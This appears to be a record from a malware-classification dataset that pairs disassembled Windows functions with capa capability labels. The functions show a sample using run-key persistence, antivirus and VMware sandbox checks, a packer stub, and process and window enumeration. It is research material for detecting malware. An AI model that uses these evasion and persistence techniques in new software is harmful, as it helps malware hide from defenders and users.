joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407fb0
Capabilities:
Delete directory

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
jne 0x407fbd
xor eax, eax
pop esi
ret
push edi
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
pop edi
jne 0x407fcf
pop esi
ret
cmp ecx, 1
jne 0x407fdd
cmp byte [esi], 0x5c
jne 0x407fdd
xor eax, eax
pop esi
ret
push esi
call fcn.00407d60
add esp, 4
test eax, eax
je 0x407ff1
push esi
call dword [sym.imp.KERNEL32.DLL_RemoveDirectoryA]
pop esi
ret

Function at 0x41ad50
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x411015
lea edi, [esi - 0x10015]
push edi
or ebp, 0xffffffff
jmp 0x41ad72
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x41ad79
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x41ad68
mov eax, 1
add ebx, ebx
jne 0x41ad8b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x41ad80
jne 0x41ad9c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41ad80
xor ecx, ecx
sub eax, 3
jb 0x41adb0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x41ae22
mov ebp, eax
add ebx, ebx
jne 0x41adbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x41adc8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x41adec
inc ecx
add ebx, ebx
jne 0x41add8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x41adcd
jne 0x41ade9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41adcd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41ae0c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41adfd
jmp 0x41ad6e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41ae0c
add edi, ecx
jmp 0x41ad6e
pop esi
mov edi, esi
mov ecx, 0x2b3
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41ae2a
cmp byte [edi], 5
jne 0x41ae2a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x41ae2f
lea edi, [esi + 0x18000]
mov eax, dword [edi]
or eax, eax
je 0x41aea7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1a000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1a094]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41ae5c
mov ecx, edi
jns 0x41ae8b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1a09c]
or eax, eax
je 0x41aea1
mov dword [ebx], eax
add ebx, 4
jmp 0x41ae79
call dword [esi + 0x1a098]
mov ebp, dword [esi + 0x1a0a0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x41aedb
sub esp, 0xffffff80
jmp 0x404c20
Function at 0x4021b0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov eax, dword [0x42c1bc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
push 0x1fe
push ebx
push 0x434d60
mov dword [ebp - 0x238], ebx
call fcn.00413c40
mov eax, dword [str.360Safe.exe]
push 0x427f44
push eax
call fcn.00412633
add esp, 0x14
test eax, eax
jne 0x402325
push esi
push edi
mov esi, 0x430bd0
mov dword [ebp - 0x234], ebx
jmp 0x402210
mov esi, dword [esi]
push 0x228
lea ecx, [ebp - 0x22c]
push ebx
push ecx
mov dword [ebp - 0x230], ebx
call fcn.00413c40
add esp, 0xc
push ebx
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x4022e7
lea edx, [ebp - 0x230]
push edx
push edi
mov dword [ebp - 0x230], 0x22c
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x4022a9
lea ecx, [ecx]
mov ecx, esi
lea eax, [ebp - 0x20c]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40228e
cmp dx, bx
je 0x40228a
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40228e
add eax, 4
add ecx, 4
cmp dx, bx
jne 0x402268
xor eax, eax
jmp 0x402293
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
je 0x4022b2
lea eax, [ebp - 0x230]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x402260
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4022e7
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x228], ebx
je 0x4022e7
mov ecx, dword [ebp - 0x234]
mov edx, dword [ecx + 0x430bd4]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push edx
push 0x434d60
call esi
push 0x427f48
push 0x434d60
call esi
mov eax, dword [ebp - 0x238]
inc eax
lea esi, [eax*8]
mov dword [ebp - 0x234], esi
mov dword [ebp - 0x238], eax
mov eax, dword [esi + 0x430bd0]
lea esi, [esi + 0x430bd0]
push 0x427f44
push eax
call fcn.00412633
add esp, 8
test eax, eax
je 0x402210
pop edi
pop esi
push 0x427f44
push 0x434d60
call fcn.00412633
add esp, 8
pop ebx
test eax, eax
jne 0x40234c
push 0x427e10
push 0x434d60
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 0x434d60
call fcn.00411e4f
mov esp, ebp
pop ebp
ret
Function at 0x402360
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x624
mov eax, dword [0x42c1bc]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x20a]
push ecx
mov word [ebp - 0x20c], ax
call fcn.00413c40
xor edx, edx
push 0x206
push edx
lea eax, [ebp - 0x412]
push eax
mov word [ebp - 0x414], dx
call fcn.00413c40
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
add esp, 0x18
push str.Shell32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.SHGetSpecialFolderPathW
push eax
call edi
test eax, eax
je 0x402437
push 1
push 7
lea ecx, [ebp - 0x20c]
push ecx
push 0
call eax
test eax, eax
je 0x402437
push str.GFIRestart32.exe
lea edx, [ebp - 0x20c]
push edx
lea eax, [ebp - 0x414]
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
push 0
push 3
push 0
push 0
push SysReAllocString
lea ecx, [ebp - 0x414]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
je 0x402437
pop edi
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00411e4f
mov esp, ebp
pop ebp
ret
push ebx
push 0x42800c
call esi
mov esi, eax
push 0x428028
push esi
call edi
push 0x42803c
push esi
mov ebx, eax
call edi
push 0x42804c
push esi
mov dword [ebp - 0x624], eax
call edi
mov esi, eax
test ebx, ebx
je 0x402511
mov eax, dword [ebp - 0x624]
test eax, eax
je 0x402511
test esi, esi
je 0x402511
lea edx, [ebp - 0x620]
push edx
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push SysReAllocString
call eax
test eax, eax
jne 0x402511
push 0x206
push eax
lea ecx, [ebp - 0x61a]
push ecx
mov word [ebp - 0x61c], ax
call fcn.00413c40
mov ecx, dword [ebp - 0x620]
add esp, 0xc
lea edx, [ebp - 0x624]
push edx
lea eax, [ebp - 0x61c]
push eax
push 0
push 0
push str.GFIRestart32.exe
push ecx
mov dword [ebp - 0x624], 0x208
call ebx
test eax, eax
jne 0x402508
mov edx, dword [ebp - 0x620]
push edx
call esi
pop ebx
pop edi
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00411e4f
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x620]
push eax
call esi
mov ecx, dword [ebp - 4]
pop ebx
pop edi
xor ecx, ebp
xor eax, eax
pop esi
call fcn.00411e4f
mov esp, ebp
pop ebp
ret
Function at 0x4029b0
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
push edi
xor edi, edi
push edi
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 0x10]
push eax
push 0x4271c8
push 1
push edi
push 0x427188
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
je 0x4029e4
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
push 0
lea edx, [ebp - 4]
push edx
push 0x427198
push eax
mov eax, dword [ecx + 0xc]
call eax
test eax, eax
jne 0x4029dc
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x14]
push eax
call edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
lea edx, [ebp - 0x14]
push edx
lea edx, [ebp - 8]
push edx
push 1
push eax
mov eax, dword [ecx + 0xc]
call eax
test eax, eax
jne 0x402a9d
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
lea edx, [ebp - 0xc]
push edx
push 0x42444c
push 0
push 0
push eax
mov eax, dword [ecx + 0x24]
call eax
test eax, eax
js 0x402a79
mov eax, dword [ebp - 0xc]
mov ecx, 8
mov word [ebp - 0x28], cx
mov edx, dword [eax]
mov edx, dword [edx + 0xc]
push 0
lea ecx, [ebp - 0x28]
push ecx
push 0x42809c
push eax
call edx
test eax, eax
jne 0x402a6e
mov eax, dword [ebp - 0x20]
push eax
inc edi
call esi
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
lea edx, [ebp - 0x14]
push edx
lea edx, [ebp - 8]
push edx
push 1
push eax
mov eax, dword [ecx + 0xc]
call eax
test eax, eax
je 0x402a28
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x402e00
Capabilities:
Get disk information
Get disk size
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
mov eax, dword [0x42c1bc]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor esi, esi
push edi
mov dword [ebp - 0x5c], esi
mov dword [ebp - 0x60], esi
xor edi, edi
nop
lea eax, [esi + 0x42]
mov word [ebp - 0x18], ax
lea ecx, [ebp - 0x18]
xor eax, eax
push ecx
mov dword [ebp - 0x16], 0x5c003a
mov word [ebp - 0x12], ax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
jne 0x402e7a
lea edx, [ebp - 0x78]
push edx
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0x80]
push ecx
lea edx, [ebp - 0x18]
push edx
inc edi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov eax, dword [ebp - 0x70]
mov ecx, dword [ebp - 0x6c]
mov edx, dword [ebp - 0x78]
shrd eax, ecx, 0x1e
add dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x74]
shrd edx, eax, 0x1e
shr ecx, 0x1e
shr eax, 0x1e
add dword [ebp - 0x60], edx
inc esi
cmp esi, 0x1a
jl 0x402e20
push 0x40
lea ecx, [ebp - 0x58]
push 0
push ecx
mov dword [ebp - 0x64], edi
call fcn.00413c40
add esp, 0xc
lea edx, [ebp - 0x58]
push edx
mov dword [ebp - 0x58], 0x40
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov esi, dword [ebp - 0x48]
mov edi, dword [ebp - 0x44]
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x4c]
mov edx, dword [ebp - 0x60]
shrd esi, edi, 0x1e
shr edi, 0x1e
add esi, 1
adc edi, 0
shrd eax, ecx, 0x1e
shr ecx, 0x1e
add eax, 1
adc ecx, 0
push ecx
mov ecx, dword [ebp - 0x64]
push eax
mov eax, dword [ebp - 0x5c]
push edx
push eax
push ecx
push 0x4280d0
push 0xc8
push ebx
call fcn.00412457
push edi
push esi
push ebx
push 0x428120
push 0xc8
push ebx
call fcn.00412457
mov ecx, dword [ebp - 4]
add esp, 0x38
pop edi
xor ecx, ebp
pop esi
call fcn.00411e4f
mov esp, ebp
pop ebp
ret
Function at 0x402f10
Capabilities:
Get system information on windows
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x42a338
push 0x415e40
mov eax, dword fs:[0]
push eax
sub esp, 0x24c
mov eax, dword [0x42c1bc]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x238], eax
mov esi, ecx
mov edi, edx
mov ebx, dword [ebp + 0xc]
mov dword [ebp - 0x22c], 1
mov dword [ebp - 0x228], 0
push 0x208
push 0
lea ecx, [ebp - 0x224]
push ecx
call fcn.00413c40
add esp, 0xc
mov dword [ebp - 4], 0
lea edx, [ebp - 0x234]
push edx
push 0x20019
push 0
push esi
mov eax, dword [ebp - 0x238]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x402fb6
mov dword [ebp - 0x228], 0xffffffff
jmp 0x403166
mov eax, dword [ebp + 0x10]
sub eax, 0
je 0x4030ca
mov esi, 1
sub eax, esi
je 0x403063
sub eax, esi
jne 0x403166
mov eax, dword [ebp - 0x22c]
test eax, eax
je 0x403166
cmp eax, 2
ja 0x403166
mov dword [ebp - 0x230], 0x208
lea ecx, [ebp - 0x230]
push ecx
lea edx, [ebp - 0x224]
push edx
lea eax, [ebp - 0x22c]
push eax
push 0
push edi
mov ecx, dword [ebp - 0x234]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x403054
push 0x427ef0
lea edx, [ebp - 0x224]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x402fa7
lea eax, [ebp - 0x224]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov dword [ebp - 0x228], esi
jmp 0x403166
mov dword [ebp - 0x228], 0
jmp 0x403166
mov eax, dword [ebp - 0x22c]
test eax, eax
je 0x403166
cmp eax, 2
ja 0x403166
mov dword [ebp - 0x230], 0x208
lea ecx, [ebp - 0x230]
push ecx
lea edx, [ebp - 0x224]
push edx
lea eax, [ebp - 0x22c]
push eax
push 0
push edi
mov ecx, dword [ebp - 0x234]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40315a
lea edx, [ebp - 0x224]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov dword [ebp - 0x228], esi
jmp 0x403166
mov eax, dword [ebp - 0x22c]
test eax, eax
je 0x403166
cmp eax, 2
ja 0x403166
mov dword [ebp - 0x230], 0x208
lea eax, [ebp - 0x230]
push eax
lea ecx, [ebp - 0x224]
push ecx
lea edx, [ebp - 0x22c]
push edx
push 0
push edi
mov eax, dword [ebp - 0x234]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40315a
lea ecx, [ebp - 0x25c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [ebp - 0x248]
push edx
lea eax, [ebp - 0x224]
push eax
push str._s__d
mov ecx, eax
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea edx, [ebp - 0x224]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov dword [ebp - 0x228], 1
jmp 0x403166
push str.error
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov dword [ebp - 4], 0xfffffffe
call fcn.00403194
mov eax, dword [ebp - 0x228]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.00411e4f
mov esp, ebp
pop ebp
ret
Function at 0x403600
Capabilities:
Enumerate processes
Get disk size
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x29c
mov eax, dword [0x42c1bc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push str.C:Program_FilesVMwareVMware_Tools_
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryA]
test eax, eax
jne 0x403638
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00411e4f
mov esp, ebp
pop ebp
ret
push 0
push 2
mov dword [ebp - 0x288], 0x22c
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x4037e9
lea eax, [ebp - 0x288]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x4036c8
mov ebx, dword [sym.imp.KERNEL32.dll_Process32NextW]
jmp 0x403680
push str.VMwareService.exe
lea ecx, [ebp - 0x264]
push ecx
call esi
test eax, eax
je 0x403625
push str.VMwareTray.exe
lea edx, [ebp - 0x264]
push edx
call esi
test eax, eax
je 0x403625
push str.VMwareUser.exe
lea eax, [ebp - 0x264]
push eax
call esi
test eax, eax
je 0x403625
lea ecx, [ebp - 0x288]
push ecx
push edi
call ebx
test eax, eax
jne 0x403680
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
lea edx, [ebp - 0x28c]
push edx
push 0x64
push str.localhost
mov dword [ebp - 0x28c], 0
call dword [sym.imp.NETAPI32.dll_NetWkstaGetInfo]
test eax, eax
jne 0x403736
mov eax, dword [str.WORKGROUP]
mov ecx, dword [0x4284a4]
mov edx, dword [0x4284a8]
mov dword [ebp - 0x18], eax
mov eax, dword [0x4284ac]
mov dword [ebp - 0x14], ecx
mov ecx, dword [0x4284b0]
mov dword [ebp - 0x10], edx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x28c]
lea edx, [ebp - 0x18]
mov dword [ebp - 8], ecx
mov ecx, dword [eax + 8]
push edx
push ecx
call esi
test eax, eax
je 0x403625
lea edx, [ebp - 0x58]
push edx
mov dword [ebp - 0x58], 0x40
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
cmp dword [ebp - 0x4c], 0
ja 0x403760
jb 0x403625
cmp dword [ebp - 0x50], 0x45f41500
jb 0x403625
push 0
push 0
push 3
push 0
push 1
push SysReAllocString
push str..PhysicalDrive0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x403797
push eax
call edi
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00411e4f
mov esp, ebp
pop ebp
ret
push 0
lea eax, [ebp - 0x29c]
push eax
push 8
lea ecx, [ebp - 0x298]
push ecx
push 0
push 0
push 0x7405c
push esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push esi
call edi
mov edx, dword [ebp - 0x294]
mov eax, dword [ebp - 0x298]
push 0
push 0x40000000
push edx
push eax
call fcn.00422fc0
test edx, edx
jg 0x4037e9
jl 0x403625
cmp eax, 0x6e
jb 0x403625
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor al, al
pop ebx
call fcn.00411e4f
mov esp, ebp
pop ebp
ret
Function at 0x404f10
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov esi, ecx
mov eax, dword [esi + 0xc8]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
lea ebx, [esi + 0xb8]
push ebx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov ecx, dword [ebp + 0x10]
push ecx
lea edi, [esi + 0xd4]
push 0xff
push edi
call fcn.00412693
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax + eax + 2]
push eax
push edi
push edi
mov dword [esi + 0x2d4], eax
call fcn.00413f40
mov eax, dword [esi + 0x2d4]
lea edx, [eax + 4]
push eax
mov dword [esi + 0x2d8], edx
call fcn.004123d7
add esp, 0x10
mov dword [esi + 0x2ec], eax
test eax, eax
je 0x404fe9
mov ecx, dword [esi + 0x2e8]
mov edx, dword [ebp + 0xc]
mov eax, dword [ecx + 4]
mov eax, dword [eax]
push 0
push 0
push 0
add ecx, 4
push edx
mov edx, dword [ebp + 8]
push edx
call eax
test eax, eax
je 0x404fe9
lea edi, [esi + 0xc0]
push edi
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov ecx, dword [edi]
sub ecx, dword [ebx]
mov edx, dword [edi + 4]
sbb edx, dword [ebx + 4]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
fild qword [ebp - 8]
pop edi
fild qword [esi + 0xb0]
mov al, 1
fdiv qword [0x4288f0]
fdivp st(1)
fstp qword [esi + 0xa8]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x4058a0
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, eax
mov dword [esi], vtable.CManager.0
mov dword [esi + 4], edi
mov eax, dword [edi]
mov edx, dword [eax + 0xc]
push esi
mov ecx, edi
call edx
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 8], eax
mov eax, dword [ebp + 8]
mov dword [esi], vtable.CKernelManager.0
mov dword [esi + 0x218], ebx
test ebx, ebx
je 0x405921
test eax, eax
je 0x4058f4
push eax
push 0x208
push 0x433858
call fcn.00412693
add esp, 0xc
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x40590e
push eax
push 0x208
push 0x433c68
call fcn.00412693
add esp, 0xc
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
mov dword [0x430bbc], eax
mov dword [0x430bc8], ecx
jmp 0x405963
test eax, eax
je 0x405938
push eax
push 0x208
push 0x433038
call fcn.00412693
add esp, 0xc
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x405952
push eax
push 0x208
push 0x433448
call fcn.00412693
add esp, 0xc
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 0x10]
mov dword [0x430bb8], edx
mov dword [0x430bc4], eax
xor eax, eax
push 0x42800c
mov dword [esi + 0x220], eax
mov dword [esi + 0x21c], eax
mov dword [esi + 0x214], edi
mov dword [0x431fbc], esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.RegCreateKeyExW
push eax
mov dword [esi + 0x228], eax
call edi
mov ecx, dword [esi + 0x228]
push 0x428600
push ecx
mov dword [esi + 0x22c], eax
call edi
mov edx, dword [esi + 0x228]
push str.RegDeleteKeyW
push edx
mov dword [esi + 0x24c], eax
call edi
mov dword [esi + 0x234], eax
mov eax, dword [esi + 0x228]
push 0x428620
push eax
call edi
mov ecx, dword [esi + 0x228]
push 0x428028
push ecx
mov dword [esi + 0x238], eax
call edi
mov edx, dword [esi + 0x228]
push 0x42803c
push edx
mov dword [esi + 0x230], eax
call edi
mov dword [esi + 0x23c], eax
mov eax, dword [esi + 0x228]
push str.RegEnumValueW
push eax
call edi
mov ecx, dword [esi + 0x228]
push str.RegEnumKeyExW
push ecx
mov dword [esi + 0x240], eax
call edi
mov edx, dword [esi + 0x228]
push 0x42804c
push edx
mov dword [esi + 0x244], eax
call edi
mov dword [esi + 0x248], eax
mov eax, esi
pop edi
pop ebp
ret 0x10
Function at 0x4060e0
Capabilities:
Enumerate processes
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov eax, dword [0x42c1bc]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0x7532
mov dword [ebp - 0x238], eax
call fcn.004123d7
push 0x7532
mov edi, eax
push 0
push edi
call fcn.00413c40
add esp, 0x10
push 0
push 2
mov byte [edi], 2
mov dword [ebp - 0x234], 0
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x406154
push str._vz
lea esi, [edi + 2]
push 0x3a98
push esi
call fcn.00412457
add esp, 0xc
jmp 0x406272
call dword [sym.imp.USER32.dll_GetForegroundWindow]
test eax, eax
je 0x40616e
push 0x104
lea ecx, [edi + 2]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
lea esi, [edi + 2]
mov ecx, 0x427ef0
mov eax, esi
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40619e
test dx, dx
je 0x40619a
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40619e
add eax, 4
add ecx, 4
test dx, dx
jne 0x406178
xor eax, eax
jmp 0x4061a3
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4061ba
push 0x427e10
push 0x3a98
push esi
call fcn.00412457
add esp, 0xc
push esi
push 0x42868c
push 0x3a98
push esi
call fcn.00412457
push 0x228
lea edx, [ebp - 0x22c]
push 0
push edx
call fcn.00413c40
add esp, 0x1c
lea eax, [ebp - 0x230]
push eax
push ebx
mov dword [ebp - 0x230], 0x22c
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x406272
lea ecx, [ecx]
inc dword [ebp - 0x234]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0x36b0
jg 0x406272
mov ecx, dword [ebp - 0x234]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
lea edx, [eax + eax*4]
sub ecx, edx
jne 0x406245
push esi
push 0x42869c
push 0x3a98
push esi
call fcn.00412457
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
push esi
push str._s___s
push 0x3a98
push esi
call fcn.00412457
add esp, 0x14
lea ecx, [ebp - 0x230]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x406200
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edx, dword [ebp - 0x238]
mov ecx, dword [edx + 4]
mov eax, dword [ecx]
mov edx, dword [eax + 8]
push 0x7532
push edi
call edx
push edi
call fcn.00411f7d
mov ecx, dword [ebp - 4]
add esp, 4
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00411e4f
mov esp, ebp
pop ebp
ret 4